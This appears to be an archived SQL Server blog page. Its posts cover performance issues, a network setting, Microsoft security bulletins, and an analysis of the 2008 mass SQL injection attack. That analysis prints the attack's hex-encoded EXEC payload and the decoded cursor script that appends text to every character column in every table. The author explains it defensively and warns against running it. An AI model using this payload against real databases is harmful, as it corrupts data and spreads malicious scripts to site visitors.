SQL Server News & Information tsql, performance tuning, industry trends, & bad jokes
tsql, performance tuning, industry trends, & bad jokes
This site is maintained by Jason Massie. He has 10 years experience as a DBA and has specialized in performance tuning for the last five. He was recognized by Microsoft as a SQL Server MVP. Jason has spoken at the Professional Association of SQL Server Conference, the North Texas SQL Server Users Group, SQL Connections and TechED. He has worked at Terremark (formerly Data Return) for nearly a decade.
You can contact him at jason@statisticsio.com or 469.569.5965
Abstracts addition Affinity Aggregation allocation Always Analysis Announced another API Appending article Authentication backup be Behavior between Bootstrapper Breaking Build Cache Caching Check checksums Codeplex collection Connecting contest Controller Creating CTEs CTP CUBE cursors Data Database DATALENGTH Debugging Design Diagnosing Diagnostic Differences Documentation DTS Emergency enhancement Entity ETW Exchange execution Express Extensions Fall February Filestream Filtered group GROUPING have Hosting Idle impact Improvement Increase Index Indexes Inserts Instances Interoperability Introduction IO large Late LOB local Localized Magazine Maintaining Maintenance Management maps March Microsoft minutes missing Mix Never November Offline OLE Online operations operators optimizations Optimized Overlapping Package Page Paging Panacea parallel part Partial Partition partitioned Partitioning PASS Performance PFS plan Plans Practices problem Problems Procedure Program programmatically Programming Protection Queries query read recent Recursive Related released Reports Restore return ROLLUP ROWCOUNT Runtime Security Select Sequence sequential Server Services set SETS Shooting shorts sizes Solutions Sortable SPARSE Spool SQL SQLIOSim SSIS Stalled Star Statement Statements stats Stored strategy Stuck Studio Submission Subreports Suggested Summarizing system Table Tables Tampa Task Than there through Timeouts Total Traces Transaction transfer Tricks Trouble TSQL turning understand Understanding undocumented Unique unused upgrade Upgrading Useful Value variables VDI Vista Will Windows Wireless
TokenAndPermUserStore cache bloat has been a problem for quite a few of my customers. It is hard to diagnose unless you have run across it before. The queries are just slow without a hardware bottleneck. There were enhancements in sp2, post sp2 hotfixes and trace flags to help out. To be fair to MSFT, most of the time, the root cause was bad plan reuse.
In SQL Server 2008, this memory clerk is configurable with sp_configure. Yay! However, in SQL Server 2005 SP3 you have a few new options detailed in this KB.
This is also one other noteworthy enhancement in SQL Server 2005 SP3
Note In SQL Server 2005 Service Pack 3 and in later service packs, the processor time stamp is not used. These versions of SQL Server 2005 use a more reliable timer that has a maximum precision of 1 millisecond.
The full article can be found here.
Edit: Bob Dorr has posted a more in depth explanation of the time change here.
Here is a Windows setting that often doesn’t play well with SQL Server. There is not much info out there so I thought I would blog about it.
There are three sets of problems that I have run into that can come from it:
1. Network disconnects. It manifests at the client with these errors: Reference kb945977.
Error message 1 [Microsoft][ODBC SQL Server Driver][DBNETLIB] General Network error. Check your network documentation Error message 2 ERROR [08S01] [Microsoft][SQL Native Client]Communication link failure Error message 3 System.Data.SqlClient.SqlException: A transport-level error has occurred when sending the request to the server. (provider: TCP Provider, error: 0 - An existing connection was forcibly closed by the remote host.)
Error message 1 [Microsoft][ODBC SQL Server Driver][DBNETLIB] General Network error. Check your network documentation
Error message 2 ERROR [08S01] [Microsoft][SQL Native Client]Communication link failure
Error message 3 System.Data.SqlClient.SqlException: A transport-level error has occurred when sending the request to the server. (provider: TCP Provider, error: 0 - An existing connection was forcibly closed by the remote host.)
Do any of those ring a bell? :)
2. High NonPaged pool usage with some NIC’s. Reference kb918483. This manifests with this error message.
A significant part of sql server process memory has been paged out. This may result in a performance degradation.
3. I suspect that a mysterious periodic cluster failover was caused by this. I cannot prove it though.
To disable this setting, run Netsh int ip set chimney DISABLED and reboot. You should do this at the client and SQL Server if you have problem 1. With problem #2 when you are on SQL Server standard edition, you might as well try it because if it doesn’t fix it you only have a few other options. Chances are that the only fix is an upgrade to Enterprise Edition.
There might be a good reason to leave it enabled in some situations but I am not sure what they are. It has caused me enough problems to turn it off by default.
Edit: Doh, Sara Henwood wrote a similar but better post on this issue. I wish I would have saved it to gray matter back when it came out.
Executive: Um, the Internet is slow.
DBA: You mean the website?
Executive: I think it is the dataplace.
DBA: Database?
Executive: Yah, I rebooted my modem but it is still slow.
So your manager catches wind and comes running over. You pull open perfmon and CPU, memory\IO and network are idle. Blocking? Nada. You tell your boss that he ought to check with the App and Network guys.
However, it is a database issue in this specific instance.
This is not new news. Why am I blogging about this?
The bug and hotfix is at this KB: http://support.microsoft.com/kb/933564
PSS expands on it here: http://blogs.msdn.com/psssql/archive/2008/06/16/query-performance-issues-associated-with-a-large-sized-security-cache.aspx
The changes in SQL Server to prevent the issues described in MS08-40 are already included in Cumulative Update 7+ for SQL Server 2005 Service Pack 2. This was confirmed by a MSFT contact. To quote him:
If CU#7 or CU#8 has been installed for SQL 2005 SP2, then you do not need to apply the patch. The version of the patch is (last 4 digits ) 3233. CU#7 is 3239 and CU#8 is higher. Since the cumulative updates are indeed cumulative, CU#7 and CU#8 both have this security patch.
If CU#7 or CU#8 has been installed for SQL 2005 SP2, then you do not need to apply the patch.
The version of the patch is (last 4 digits ) 3233.
CU#7 is 3239 and CU#8 is higher.
Since the cumulative updates are indeed cumulative, CU#7 and CU#8 both have this security patch.
The OS may still need to be patched. SUS or Windows Update should be able to tell you that. Hopefully, this is the last SQL security post for a while. :)
One of the security vulnerabilities was discovered by iDefense. They released their public advisory today with more details here. Here is an excerpt:
Remote exploitation of an integer underflow vulnerability within Microsoft Corp.'s SQL Server could allow a remote attacker to execute arbitrary code with the privileges of the SQL Server.The vulnerability exists within the code responsible for parsing a stored backup file. A 32-bit integer value, representing the size of a record, is taken from the file and used to calculate the number of bytes to read into a heap buffer. This calculation can underflow, which leads to insufficient memory being allocated. The buffer is subsequently overfilled leading to an exploitable condition.
Remote exploitation of an integer underflow vulnerability within Microsoft Corp.'s SQL Server could allow a remote attacker to execute arbitrary code with the privileges of the SQL Server.
The vulnerability exists within the code responsible for parsing a stored backup file. A 32-bit integer value, representing the size of a record, is taken from the file and used to calculate the number of bytes to read into a heap buffer. This calculation can underflow, which leads to insufficient memory being allocated. The buffer is subsequently overfilled leading to an exploitable condition.
The Microsoft Security Vulnerability Research & Defense blog provided even more info later today. The full post is here. Lets look at 3 sentences from this post that tells us this is really only dangerous if you are not following best practices to begin with.
Your app has to be injectable and it has to be open to port 80. If that is true, you are probably already running SQL as a domain admin or SA has a blank password. ;)
You should still test and deploy the hotfix ASAP. Do you trust all of the variables? Your code, MS's code, the disclosure.... Even if you do, there are still 3 other undisclosed vulnerabilities so get to patching.
Well, it was a great run. SQL Server 2005's pristine security record is now tarnished. In fact, there has not been a new SQL Server security vulnerability since 2003. It looks like they took the SQL slammer lesson to heart.
"
This security update resolves four privately disclosed vulnerabilities. The more serious of the vulnerabilities could allow an attacker to run code and to take complete control of an affected system. An authenticated attacker could then install programs; view, change, or delete data; or create new accounts with full administrative rights.
1. Memory Page Reuse Vulnerability - CVE-2008-0085
An information disclosure vulnerability exists in the way that SQL Server manages memory page reuse. An attacker with database operator access who successfully exploited this vulnerability could access customer data.
2. Convert Buffer Overrun - CVE-2008-0086
A vulnerability exists in the convert function in SQL Server that could allow an authenticated attacker to gain elevation of privilege. An attacker who successfully exploited this vulnerability could run code and take complete control of the system.
3. SQL Server Memory Corruption Vulnerability - CVE-2008-0107
A vulnerability exists in SQL Server that could allow an authenticated attacker to gain elevation of privilege. An attacker who successfully exploited this vulnerability could run code and take complete control of the system.
4. SQL Server Buffer Overrun Vulnerability - CVE-2008-0106
Â
Don't know what "Windows Internal Database" is? I didn't either. Here is the wikipedia entry. I wonder if Windows 2008 will get an upgrade when Katmai RTM's.
Update: The binaries have been released. SQL 2005 gets bumped to version 9.00.3233.00. The direct x86 and x64 SQL 2005 download is here. Refer to the full article for 7.0, 2000, and express editions.
This is hot of the presses. Here is the full article. They start off pointing out, once again, that this due to bad coding practices. And, well, it is.
What I find interesting is the "Suggested actions" section. It contains 3 utilities. "Utilz" for you hackers.
So get to work! A little proactive will save a lot of clean up if you get hacked.
From the database side, these .cn guys are appending text to every row to every "string" type column in every table in every database they can get to. Sometimes the injections fail just due to disk space! If preventing this is not high priority for the Dev's and IIS Admins that manage app's that touch your db's, you should make it so.
Here is a anatomy of that huge SQL Injection attack that has been in the news. It targets MS SQL and ASP but it could be written for any database platform with application holes. There was inaccurate reporting in the press. Sensational headlines like "500,000 websites hacked due to Microsoft vulnerabilities" It should read "application" vulnerabilities. The same thing could happen on any platform. The thing about this one was the fact that it brilliantly designed to self propagate.
*Warning*
*Do not run this in any instance you care about*
On the affected sites, they post this query string:
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200 [snip] 7200%20AS%20NVARCHAR(4000));PRINT(@S)
Which translates into this:
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200 [snip] 7200 AS NVARCHAR(4000));exec(@S)
The code that actually executes is this:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
So it appends that script for to any character field and if that happens to be web html then it gets displayed on your website. The .js file infects users and the cycle continues.
More info can be found here.
There are a couple new features that I would like to quickly point out. These are basically just tools that I use daily so I integrated them into the site. I hope you find them useful.
ALT HEAD: HOWTO: Inserting dummy data